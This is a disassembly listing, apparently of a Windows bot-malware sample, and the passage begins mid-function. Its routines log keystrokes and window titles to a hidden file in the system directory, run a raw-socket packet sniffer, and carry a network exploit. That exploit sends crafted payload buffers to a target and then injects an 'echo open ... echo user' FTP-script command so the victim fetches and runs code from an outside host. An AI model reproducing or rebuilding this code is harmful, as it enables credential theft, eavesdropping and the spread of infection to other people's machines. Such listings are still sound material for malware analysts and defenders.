loc_4020FC:				; CODE XREF: sub_401BD4+503j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B078
		push	[ebp+var_BC]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_401BD4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40211C	proc near		; CODE XREF: sub_4021FB+B4p
					; sub_4021FB+247p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp


loc_40211F:				; DATA XREF: seg001:off_42F47Co
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_42105C	; GetLocalTime
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		call	dword_421058	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	offset asc_423C48 ; "\\"
		push	eax
		call	sub_415A30
		lea	eax, [ebp+var_114]
		push	offset dword_42C2C8
		push	eax
		call	sub_415A30
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_415A08
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_402181
		inc	eax
		jmp	short loc_4021F8
; ---------------------------------------------------------------------------


loc_402181:				; CODE XREF: sub_40211C+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_4159B6
		push	esi
		call	sub_415960
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_4021F6
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_423C04
		push	200h
		push	eax
		call	sub_41588A
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 24h


loc_4021F6:				; CODE XREF: sub_40211C+A1j
		xor	eax, eax


loc_4021F8:				; CODE XREF: sub_40211C+63j
		pop	esi
		leave
		retn
sub_40211C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4021FB	proc near		; DATA XREF: sub_40CD3A+1D95o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_43C4DC
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43C4F0
		mov	ebx, 200h


loc_402256:				; CODE XREF: sub_4021FB+2BBj
		push	8
		call	dword_421060	; Sleep
		call	dword_43C4DC
		cmp	eax, [ebp+var_8]
		jz	short loc_4022DE
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43C4F0
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_415316
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_40211C
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_415390
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_415390
		add	esp, 0Ch


loc_4022DE:				; CODE XREF: sub_4021FB+6Cj
		mov	[ebp+arg_0], offset aB ; "b"


loc_4022E5:				; CODE XREF: sub_4021FB+2B1j
		push	10h
		call	dword_43C434
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_43C520
		test	ah, ah
		jns	short loc_40237C
		push	14h
		call	dword_43C434
		test	ax, ax
		jz	short loc_40232D
		cmp	esi, 0FFFFFFFFh
		jle	short loc_40232D
		cmp	edi, 40h
		jle	short loc_40232D
		cmp	edi, 5Bh
		jge	short loc_40232D
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_4024A1
; ---------------------------------------------------------------------------


loc_40232D:				; CODE XREF: sub_4021FB+111j
					; sub_4021FB+116j ...
		push	14h
		call	dword_43C434
		test	ax, ax
		jz	short loc_402358
		test	esi, esi
		jge	short loc_40236C
		cmp	edi, 40h
		jle	short loc_402358
		cmp	edi, 5Bh
		jge	short loc_402358
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_4024A1
; ---------------------------------------------------------------------------


loc_402358:				; CODE XREF: sub_4021FB+13Dj
					; sub_4021FB+146j ...
		test	esi, esi
		jge	short loc_40236C
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_4024A1
; ---------------------------------------------------------------------------


loc_40236C:				; CODE XREF: sub_4021FB+141j
					; sub_4021FB+15Fj
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_4024A1
; ---------------------------------------------------------------------------


loc_40237C:				; CODE XREF: sub_4021FB+104j
		lea	eax, [ebp+edi*4+var_8DC]
		mov	esi, [eax]
		test	esi, esi
		jz	loc_4024A1
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415B10
		cmp	edi, 8
		pop	ecx
		jnz	short loc_4023AF
		and	[ebp+eax+var_2DD], 0
		jmp	loc_4024A1
; ---------------------------------------------------------------------------


loc_4023AF:				; CODE XREF: sub_4021FB+1A5j
		cmp	eax, 1B9h
		jbe	short loc_4023DB
		call	dword_43C4DC
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43C4F0
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_40241C
; ---------------------------------------------------------------------------


loc_4023DB:				; CODE XREF: sub_4021FB+1B9j
		cmp	edi, 0Dh
		jnz	loc_402473
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415B10
		test	eax, eax
		pop	ecx
		jz	loc_4024A1
		call	dword_43C4DC
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43C4F0
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_40241C:				; CODE XREF: sub_4021FB+1DEj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_415316
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_40211C
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_415390
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_415390
		add	esp, 0Ch
		jmp	short loc_4024A1
; ---------------------------------------------------------------------------


loc_402473:				; CODE XREF: sub_4021FB+1E3j
		cmp	esi, 1
		jz	short loc_40248C
		cmp	esi, 3
		jz	short loc_40248C
		cmp	esi, 2
		jz	short loc_402487
		cmp	esi, 4
		jnz	short loc_4024A1


loc_402487:				; CODE XREF: sub_4021FB+285j
		push	[ebp+arg_0]
		jmp	short loc_402493
; ---------------------------------------------------------------------------


loc_40248C:				; CODE XREF: sub_4021FB+27Bj
					; sub_4021FB+280j
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax


loc_402493:				; CODE XREF: sub_4021FB+28Fj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415A30
		pop	ecx
		pop	ecx


loc_4024A1:				; CODE XREF: sub_4021FB+12Dj
					; sub_4021FB+158j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_423BCC
		jl	loc_4022E5
		cmp	[ebp+var_4], 0
		jz	loc_402256
		push	[ebp+var_D8]
		call	sub_4150F0
		pop	ecx
		push	0
		call	dword_421048	; ExitThread
sub_4021FB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024D0	proc near		; DATA XREF: sub_40CD3A+1BE7o

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_415B90
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		xor	eax, eax
		pop	ecx
		mov	esi, edx
		lea	edi, [ebp+var_B4]
		inc	eax
		push	10h
		rep movsd
		mov	[ebp+var_8], eax
		mov	[edx+90h], eax
		xor	esi, esi
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_43C554
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40A08A
		pop	ecx
		push	eax
		call	dword_43C594
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_43C5D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_4025A5
		call	dword_43C4E8
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_424650
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402588
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412BD1
		add	esp, 14h


loc_402588:				; CODE XREF: sub_4024D0+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B078
		push	[ebp+var_30]
		call	sub_4150F0
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_4025A5:				; CODE XREF: sub_4024D0+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_4416D4[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_43C580
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40262A
		call	dword_43C4E8
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_424608
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402606
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412BD1
		add	esp, 14h


loc_402606:				; CODE XREF: sub_4024D0+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B078
		pop	ecx
		push	edi
		call	dword_43C5EC
		push	[ebp+var_30]
		call	sub_4150F0
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_40262A:				; CODE XREF: sub_4024D0+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_43C500
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4026AD
		call	dword_43C4E8
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_4245B8
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402689
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412BD1
		add	esp, 14h


loc_402689:				; CODE XREF: sub_4024D0+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B078
		pop	ecx
		push	edi
		call	dword_43C5EC
		push	[ebp+var_30]
		call	sub_4150F0
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_4026AD:				; CODE XREF: sub_4024D0+177j
		push	ebx
		mov	ebx, offset dword_423CA8


loc_4026B3:				; CODE XREF: sub_4024D0+21Cj
					; sub_4024D0+22Ej ...
		push	0FFFFh
		lea	eax, [ebp+var_102B4]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	0FFFFh
		push	eax
		push	edi
		call	dword_43C56C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4027C5
		cmp	[ebp+var_102AB], 6
		jnz	short loc_4026B3
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_4026B3
		lea	eax, [ebp+var_1028C]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_4158E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4026B3
		xor	edi, edi
		mov	eax, ebx
		mov	[ebp+arg_0], ebx


loc_40271E:				; CODE XREF: sub_4024D0+269j
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_4158E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402743
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_40271E


loc_40273B:				; CODE XREF: sub_4024D0+2F0j
		mov	edi, [ebp+var_4]
		jmp	loc_4026B3
; ---------------------------------------------------------------------------


loc_402743:				; CODE XREF: sub_4024D0+25Fj
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_43C490
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_43C5E0
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_423CBC[eax*8]
		push	off_423C98[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset unk_424560
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4027B3
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412BD1
		add	esp, 14h


loc_4027B3:				; CODE XREF: sub_4024D0+2C1j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B078
		pop	ecx
		jmp	loc_40273B
; ---------------------------------------------------------------------------


loc_4027C5:				; CODE XREF: sub_4024D0+20Fj
		call	dword_43C4E8
		push	eax
		push	offset unk_424518
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_40280B
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412BD1
		add	esp, 14h


loc_40280B:				; CODE XREF: sub_4024D0+319j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B078
		pop	ecx
		push	edi
		call	dword_43C5EC
		push	[ebp+var_30]
		call	sub_4150F0
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
sub_4024D0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40282F	proc near		; CODE XREF: sub_40297A+442p

var_5A4		= byte ptr -5A4h
var_1A4		= byte ptr -1A4h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_14], 2
		push	eax
		call	dword_4211DC	; inet_addr
		mov	[ebp+var_10], eax
		mov	ax, word_424F98
		push	eax
		call	dword_4211E0	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	dword_4211E4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_40294F
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		call	dword_4211E8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40294F
		push	esi
		lea	eax, [ebp+var_5A4]
		push	400h
		push	eax
		push	edi
		call	dword_4211EC	; recv
		mov	esi, offset byte_42C2BC
		mov	ebx, 190h
		push	esi
		push	esi
		push	offset aDd_	; "dd."
		push	offset aDd	; "dd"
		push	offset a78799	; "78799"
		push	offset byte_46AB2D
		push	offset aEchoOpenSDEqEc ; "echo open %s %d >> eq&echo user %s %s	>"...
		lea	eax, [ebp+var_1A4]
		push	ebx
		push	eax
		call	sub_41588A
		add	esp, 24h
		lea	eax, [ebp+var_1A4]
		push	0
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	edi
		mov	edi, dword_4211F0
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40294F
		push	1F4h
		call	dword_421060	; Sleep
		push	esi
		push	offset dword_425090
		lea	eax, [ebp+var_1A4]
		push	ebx
		push	eax
		call	sub_41588A
		add	esp, 10h
		lea	eax, [ebp+var_1A4]
		push	0
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	[ebp+var_4]
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402953


loc_40294F:				; CODE XREF: sub_40282F+54j
					; sub_40282F+6Aj ...
		xor	al, al
		jmp	short loc_402975
; ---------------------------------------------------------------------------


loc_402953:				; CODE XREF: sub_40282F+11Ej
		push	0
		lea	eax, [ebp+var_5A4]
		push	400h
		push	eax
		push	[ebp+var_4]
		call	dword_4211EC	; recv
		push	[ebp+var_4]
		call	dword_4211F4	; closesocket
		mov	al, 1


loc_402975:				; CODE XREF: sub_40282F+122j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40282F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40297A	proc near		; CODE XREF: sub_402DD1+11Bp
					; sub_402DD1+13Dp

var_89B0	= byte ptr -89B0h
var_8948	= byte ptr -8948h
var_68D8	= byte ptr -68D8h
var_6868	= byte ptr -6868h
var_5DA4	= byte ptr -5DA4h
var_4800	= byte ptr -4800h
var_47FF	= byte ptr -47FFh
var_376C	= byte ptr -376Ch
var_2CA8	= byte ptr -2CA8h
var_2CA7	= byte ptr -2CA7h
var_2CA4	= byte ptr -2CA4h
var_2C28	= byte ptr -2C28h
var_2458	= byte ptr -2458h
var_1FAD	= byte ptr -1FADh
var_1CC0	= byte ptr -1CC0h
var_14DC	= byte ptr -14DCh
var_14CC	= byte ptr -14CCh
var_11A8	= byte ptr -11A8h
var_11A4	= byte ptr -11A4h
var_1198	= byte ptr -1198h
var_F10		= byte ptr -0F10h
var_E70		= byte ptr -0E70h
var_764		= dword	ptr -764h
var_754		= byte ptr -754h
var_740		= byte ptr -740h
var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
var_B0		= byte ptr -0B0h
var_AD		= byte ptr -0ADh
var_83		= byte ptr -83h
var_81		= byte ptr -81h
var_80		= byte ptr -80h
var_38		= byte ptr -38h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= dword	ptr -6
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B0h
		call	sub_415B90
		mov	eax, dword_425110
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_425114
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_38]
		push	offset loc_425104
		push	eax
		call	sub_415316
		add	esp, 0Ch
		xor	eax, eax


loc_4029B1:				; CODE XREF: sub_40297A+4Ej
		mov	cl, [ebp+eax+var_38]
		and	[ebp+eax*2+var_FF], 0
		mov	[ebp+eax*2+var_100], cl
		inc	eax
		cmp	eax, 28h
		jl	short loc_4029B1
		push	60h
		lea	eax, [ebp+var_B0]
		push	offset dword_424B90
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415B10
		add	eax, eax
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4153F0
		add	esp, 1Ch
		lea	eax, [ebp+var_38]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_415B10
		pop	ecx
		lea	eax, [ebp+eax*2+var_81]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415B10
		add	al, 1Ah
		push	1
		add	al, al
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_AD]
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415B10
		add	al, al
		push	1
		add	al, 9
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_83]
		push	eax
		call	sub_4153F0
		mov	ax, word_424F98
		add	esp, 2Ch
		push	eax
		call	dword_4211E0	; htons
		xor	eax, 9999h
		push	2
		mov	[ebp+var_6], eax
		lea	eax, [ebp+var_6]
		push	eax
		push	offset dword_424888
		call	sub_4153F0
		add	esp, 0Ch
		cmp	[ebp+arg_C0], 0
		jz	loc_402B73
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC0]
		push	edi
		push	90h
		push	eax
		call	sub_415390
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	ebx, dword_424FD8[eax]
		lea	eax, [ebp+var_14DC]
		push	ebx
		push	eax
		call	sub_4153F0
		mov	esi, offset loc_4247D8
		push	esi
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_14CC]
		push	esi
		push	eax
		call	sub_4153F0
		push	4
		lea	eax, [ebp+var_11A8]
		push	offset loc_4250FC
		push	eax
		call	sub_4153F0
		push	4
		lea	eax, [ebp+var_11A4]
		push	ebx
		push	eax
		call	sub_4153F0
		add	esp, 40h
		push	esi
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_1198]
		push	esi
		push	eax
		call	sub_4153F0
		add	esp, 10h
		xor	eax, eax


loc_402B22:				; CODE XREF: sub_40297A+1C1j
		mov	cl, [ebp+eax+var_1CC0]
		and	[ebp+eax*2+var_47FF], 0
		mov	[ebp+eax*2+var_4800], cl
		inc	eax
		cmp	eax, edi
		jl	short loc_402B22
		and	[ebp+var_2CA8],	0
		and	[ebp+var_2CA7],	0
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B0]
		push	esi
		push	31h
		push	eax
		call	sub_415390
		push	esi
		lea	eax, [ebp+var_68D8]
		push	31h
		push	eax
		call	sub_415390
		add	esp, 18h
		jmp	short loc_402BCA
; ---------------------------------------------------------------------------


loc_402B73:				; CODE XREF: sub_40297A+116j
		push	7D0h
		lea	eax, [ebp+var_F10]
		push	90h
		push	eax
		call	sub_415390
		mov	esi, offset loc_4247D8
		push	esi
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_E70]
		push	esi
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_754]
		push	eax
		call	sub_4153F0
		mov	eax, dword_424FD8
		add	esp, 2Ch
		mov	[ebp+var_764], eax


loc_402BCA:				; CODE XREF: sub_40297A+1F7j
		push	0E29h
		lea	eax, [ebp+var_2CA4]
		push	31h
		push	eax
		call	sub_415390
		movsx	eax, [ebp+var_1]
		add	esp, 0Ch
		add	eax, 4
		mov	esi, dword_4211F0
		push	0
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402C0B


loc_402C04:				; CODE XREF: sub_40297A+2C2j
					; sub_40297A+2EDj ...
		xor	al, al
		jmp	loc_402DCC
; ---------------------------------------------------------------------------


loc_402C0B:				; CODE XREF: sub_40297A+288j
		mov	edi, dword_4211EC
		mov	ebx, 640h
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		push	0
		push	68h
		push	offset dword_424BF8
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C04
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		push	0
		push	0A0h
		push	offset dword_424C68
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C04
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		cmp	[ebp+arg_C0], 0
		jz	loc_402D37
		push	68h
		lea	eax, [ebp+var_89B0]
		push	offset dword_424E28
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_4800]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_8948]
		push	eax
		call	sub_4153F0
		push	70h
		lea	eax, [ebp+var_68D8]
		push	offset dword_424E98
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_376C]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_6868]
		push	eax
		call	sub_4153F0
		push	84h
		lea	eax, [ebp+var_5DA4]
		push	offset dword_424F10
		push	eax
		call	sub_4153F0
		add	esp, 3Ch
		lea	eax, [ebp+var_89B0]
		push	0
		push	10FCh
		push	eax
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_402C04
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		push	0
		push	0FDCh
		lea	eax, [ebp+var_68D8]
		jmp	short loc_402D8F
; ---------------------------------------------------------------------------


loc_402D37:				; CODE XREF: sub_40297A+308j
		push	7Ch
		lea	eax, [ebp+var_2CA4]
		push	offset dword_424D10
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_F10]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C28]
		push	eax
		call	sub_4153F0
		push	90h
		lea	eax, [ebp+var_2458]
		push	offset off_424D90
		push	eax
		call	sub_4153F0
		add	esp, 24h
		and	[ebp+var_1FAD],	0
		lea	eax, [ebp+var_2CA4]
		push	0
		push	0CF8h


loc_402D8F:				; CODE XREF: sub_40297A+3BBj
		push	eax
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_402C04
		push	12Ch
		call	dword_421060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40282F
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_402DCC:				; CODE XREF: sub_40297A+28Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40297A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DD1	proc near		; CODE XREF: seg001:00403E41p

var_858		= byte ptr -858h
var_814		= byte ptr -814h
var_218		= byte ptr -218h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
